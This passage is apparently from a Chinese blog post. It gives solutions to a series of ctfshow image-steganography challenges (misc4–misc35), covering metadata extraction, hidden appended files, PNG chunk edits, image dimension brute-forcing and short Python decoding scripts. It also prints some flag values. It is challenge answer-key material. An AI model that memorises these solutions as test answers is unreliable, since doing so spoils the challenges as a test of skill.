src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"490\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-16-1024x490.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1758\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>riff\uff0c\u6ca1\u89c1\u8fc7<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-17-1024x379.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"379\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-17-1024x379.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1759\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u4e00\u4e2amisc4\u91cc\u662f\u4e00\u4e2a\u8bcd\u9891\u5206\u6790\uff0c\u4e0d\u8fc7\u51fa\u6765\u7684flag\u6ca1\u5565\u7528\uff0c\u6b63\u786e\u7684flag\u5c31\u662f\u628a\u524d\u516d\u4e2a\u56fe\u7247\u540e\u7f00\u6539\u4e86\u62fc\u5728\u4e00\u8d77<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u56fe\u7247\u7bc7(\u4fe1\u606f\u9644\u52a0)<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">misc5<\/h2>\n\n\n\n<p>\u9644\u5728\u6587\u4ef6\u5c3e<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc6<\/h2>\n\n\n\n<p>ctrl f\u5c31\u641c\u5230\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc7<\/h2>\n\n\n\n<p>ctrl f\u5c31\u641c\u5230\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc8<\/h2>\n\n\n\n<p>foremost\u5206\u79bb\u56fe\u7247<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc9<\/h2>\n\n\n\n<p>ctrl f<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc10<\/h2>\n\n\n\n<p>binwalk -e \u7136\u540e\u7b2c\u4e00\u4e2a\u6587\u4ef6\u5c31\u662fflag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc11<\/h2>\n\n\n\n<p>\u591a\u4e2aIDAT\u6570\u636e\u5bfc\u81f4\u663e\u793a\u4e0d\u51fa\u6765flag\uff0c\u5220\u9664\u5176\u4ed6IDAT\u6570\u636e\uff0c\u53ea\u4fdd\u7559flag\u7684\u5373\u53ef\u5f97\u5230flag\u3002<br>\u5177\u4f53\u505a\u6cd5\u5c31\u662f\u628a\u7b2c\u4e00\u4e2aIDAT\u5757\u7684png\u6570\u636e\u5220\u9664\uff0c\u7136\u540e\u53e6\u5b58\u4e3a\u4e00\u5f20\u65b0\u56fe\u7247<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-18.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1010\" height=\"355\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-18.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1766\" style=\"width:840px;height:295px\"  sizes=\"auto, (max-width: 1010px) 100vw, 1010px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc12<\/h2>\n\n\n\n<p>\u7528pngdebugger misc12.png\u6ca1\u8dd1\u51fa\u6765\u6709IDAT\u6570\u636ecrc\u9519\u8bef\uff0c\u7ecf\u6d4b\u8bd5\u9700\u8981\u5220\u6389\u524d8\u4e2aIDAT\u5757<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc13<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><\/p>\n<cite>13\u662f\u8fd9\u6837\u7684\uff0c\u6587\u4ef6\u91cc\u4e00\u5171\u585e\u4e86\u56db\u4e2aflag\uff0c\u9700\u8981\u5224\u65ad\u54ea\u4e00\u4e2a\u662f\u6b63\u786e\u7684\u3002\u6839\u636e\u9898\u76ee\u63d0\u793a\uff0c\u201cflag\u4f4d\u7f6e\u201d\u5728\u6587\u4ef6\u672b\u5c3e\uff0c\u627e\u5230\u6587\u4ef6\u672b\u5c3e\u7684IEND\u5757\uff0c\u4f1a\u53d1\u73b0\u8fd9\u4e2a\u5757\u662f14\u5b57\u8282\u800c\u975e\u901a\u5e38\u768412\u5b57\u8282\uff0c\u4e5f\u5c31\u662f\u8bf4\u8fd9\u4e2a\u5757\u9664\u4e864\u4f4d\u957f\u5ea6\u30014\u4f4d\u6807\u8bc6\u548c4\u4f4dCRC\uff0c\u8fd8\u5e26\u4e86\u4e24\u4f4d\u6570\u636e\uff08\u901a\u5e38IEND\u5757\u662f\u4e0d\u5e26\u6570\u636e\u7684\uff0c\u4f46\u5b83\u4e5f\u53ef\u4ee5\u5e26\uff0c\u8fd9\u5e94\u8be5\u5c31\u662f\u672c\u9898\u77e5\u8bc6\u70b9\uff09\u3002\u8fd9\u4e24\u4f4d\u6570\u636e\u5c31\u662f\u6b63\u786eflag\u5f00\u5934\u90a3\u4e2ac\u5b57\u7b26\u7684\u5b57\u8282\u5e8f\u53f7\u3002\u6362\u53e5\u8bdd\u8bf4\u5176\u5b9e\u5148\u627e\u5230IEND\u5757\u91cc\u8fd9\u4e2a\u5e8f\u53f7\uff0c\u7136\u540e\u53bb\u627e\u5bf9\u5e94\u7684\u5b57\u8282\uff0c\u4e00\u773c\u5c31\u80fd\u770b\u5230flag\u4e86\u3002\u5f3a\u884c\u786c\u627e\u7684\u8bdd\u4e00\u822c\u4f1a\u627e\u5230\u7b2c\u4e00\u4e2a\uff0c\u90a3\u4e2a\u662f\u5047\u7684\uff1b<br><\/cite><\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>a=\"631A74B96685738668AA6F4B77B07B216114655336A5655433346578612534DD38EF66AB35103195381F628237BA6545347C3254647E373A64E465F136FA66F5341E3107321D665438F1333239E9616C7D\"\n\nflag=\"\"\nfor i in range(0,len(a),4):\n    hexStr=a&#91;i:i+2]\n    flag+=chr(int(\"0x\"+hexStr,16))\nprint(flag)\n<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u4e00\u53e5\u8bdd\uff0c\u5c31\u662f\u627e\u6700\u540e\u4e00\u4e2a\u533a\u5757\u6570\u636e\u91cc\u7684flag\uff0c\u9694\u4e00\u4e2a\u63d0\u53d6\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"959\" height=\"524\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1767\"  sizes=\"auto, (max-width: 959px) 100vw, 959px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc14<\/h2>\n\n\n\n<p>\u76f4\u63a5binwalk -e\u5206\u79bb\u4e0d\u51fa\u6765\uff0c\u4f46\u662f\u770b\u6267\u884c\u7ed3\u679c\u53ef\u4ee5\u77e5\u9053\u5c31\u662f\u4ece2103\u4f4d\u5f00\u59cb\u9690\u85cf\u4e86\u4e2a\u56fe\u7247\uff0c\u6240\u4ee5\u76f4\u63a5\u7528dd\u547d\u4ee4\u4ece2103\u4f4d\u5f00\u59cb\u63d0\u53d6\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>dd if=misc14.jpg of=flag.jpg skip=2103 bs=1\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-20-1024x398.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"398\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-20-1024x398.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1770\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc15<\/h2>\n\n\n\n<p>ctrl f<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc16<\/h2>\n\n\n\n<p>binwalk -e\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc17<\/h2>\n\n\n\n<p>zsteg\u53d1\u73b0\u6709\u989d\u5916\u6570\u636e\uff0c\u4f7f\u7528zsteg -E \u201cextradata:0\u201d misc17.png &gt; flag.txt\u628a\u989d\u5916\u6570\u636e\u63d0\u53d6\u51fa\u6765<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-21.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"760\" height=\"388\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-21.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1771\"  sizes=\"auto, (max-width: 760px) 100vw, 760px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540ebinwalk -e flag.txt\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc18<\/h2>\n\n\n\n<p>exiftool misc18.jpg<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc19<\/h2>\n\n\n\n<p>exiftool misc19.tif<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc20<\/h2>\n\n\n\n<p>exiftool misc20.jpg<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc21<\/h2>\n\n\n\n<p>exiftool misc21.jpg<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-22.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"547\" height=\"112\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-22.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1772\"  sizes=\"auto, (max-width: 547px) 100vw, 547px\" \/><\/div><\/figure>\n\n\n\n<p>\u628a\u8fd9\u56db\u6bb5\u6570\u5b57\u8f6c\u5341\u516d\u8fdb\u5236\u62fc\u5728\u4e00\u8d77\u5305\u4e0actfshow{}\u5c31\u662fflag\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc22<\/h2>\n\n\n\n<p>\u7f29\u7565\u56fe\u9690\u5199<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>exiftool -ThumbnailImage -b misc22.jpg &gt; 1.jpg<\/code><\/pre>\n\n\n\n<p>ctfshow{dbf7d3f84b0125e833dfd3c80820a129}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc23<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-23.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"982\" height=\"196\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-23.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1773\"  sizes=\"auto, (max-width: 982px) 100vw, 982px\" \/><\/div><\/figure>\n\n\n\n<p>Timestamp\u6307\u7684\u662f\u65f6\u95f4\u6233\uff0cDECtoHEX\u662f\u5341\u8fdb\u5236\u8f6c\u5341\u516d\u8fdb\u5236\uff0c\u6240\u4ee5\u5c31\u662f\u628aHistory When : 1997:09:22 02:17:02+08:00, 2055:07:15 12:14:48+08:00, 2038:05:05 16:50:45+08:00, 1984:08:03 18:41:46+08:00\u8f6c\u6210\u65f6\u95f4\u6233\u518d\u8f6c\u621016\u8fdb\u5236<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc41<\/h2>\n\n\n\n<p>\u9898\u76ee\u63cf\u8ff0\u662f<strong>H4ppy Apr1l F001&#8217;s D4y\uff01<\/strong>010\u6253\u5f00\u5168\u5c40\u641c\u7d22F0 01\uff0c\u53ef\u4ee5\u53d1\u73b0\u9ad8\u4eae\u7ec4\u6210\u4e86flag(\u771f\u6709\u60f3\u8c61\u529b\u7684\u4e00\u9053\u9898)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"587\" height=\"740\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1774\"  sizes=\"auto, (max-width: 587px) 100vw, 587px\" \/><\/div><\/figure>\n\n\n\n<p>ctfshow{fcbd427caf4a52f1147ab44346cd1cdd} \u6709\u51e0\u4e2a\u8bf4\u5b9e\u8bdd\u4e00\u76f4\u6ca1\u770b\u6e05<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u56fe\u7247\u7bc7(\u6587\u4ef6\u7ed3\u6784)<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">misc24<\/h2>\n\n\n\n<p>\u8981\u6539\u5bbd\u9ad8\u4e86\uff0cPuzzleSolver!\u542f\u52a8\uff01<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-25.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"747\" height=\"535\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-25.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1777\"  sizes=\"auto, (max-width: 747px) 100vw, 747px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc25<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc26<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc27<\/h2>\n\n\n\n<p>jpg\u6ca1\u6cd5\u7206\u7834\u4e86\uff0c\u81ea\u5df1\u6539\u5927\u70b9\u5427\uff0c\u8fd0\u884cjpg\u6a21\u677f\uff0c\u628aY\u90a3\u91cc\u6539\u5927\u70b9<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-26-1024x918.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"918\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-26-1024x918.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1780\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">misc28<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-27-1024x656.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"656\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-27-1024x656.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1783\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0b\u9762\u8fd8\u6709\u4e00\u4e2aushort ImageHeight\uff0c\u6ca1\u622a\u5b8c\uff0c\u53cd\u6b63\u628aheight\u90fd\u6539\u5927\u4e86\u5c31\u884c\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc29<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-29.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"840\" height=\"950\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-29.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1785\"  sizes=\"auto, (max-width: 840px) 100vw, 840px\" \/><\/div><\/figure>\n\n\n\n<p>\u628a\u6bcf\u4e00\u5e27\u90fd\u62c9\u5927\uff0c\u5728\u7b2c\u516b\u5e27\u5c31\u770b\u5230flag\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc30<\/h2>\n\n\n\n<p>PuzzleSolver!\u542f\u52a8\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc31<\/h2>\n\n\n\n<p>\u7ee7\u7eed\u542f\u52a8\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc32<\/h2>\n\n\n\n<p>\u8fd8\u5f97\u542f\u52a8\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc33<\/h2>\n\n\n\n<p>\u4ecd\u7136\u542f\u52a8\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc34<\/h2>\n\n\n\n<p>\u518d\u6b21\u542f\u52a8\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc35<\/h2>\n\n\n\n<p>\u5148\u628a\u9ad8\u5ea6\u6539\u6210600\uff0c\u53ef\u4ee5\u770b\u5230flag\u4e86\uff0c\u7136\u540e\u5199\u811a\u672c\u904d\u5386\u5bbd\u5ea6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-30-1024x502.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"502\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-30-1024x502.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1788\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>import struct\nfilename = \"misc35.jpg\"\nwith open(filename, 'rb') as f:\n    data = f.read()\n    for i in range(901,1000):\n        name = str(i) + \".jpg\"\n        f1 = open(name,\"wb\")\n        new = data&#91;:159]+struct.pack('&gt;h',i)+data&#91;161:]\n        f1.write(new)\n        f1.close()<\/code><\/pre>\n\n\n\n<p>998\u770b\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-31-1024x582.png'><img class=\"lazyload lazyload-style-1\" 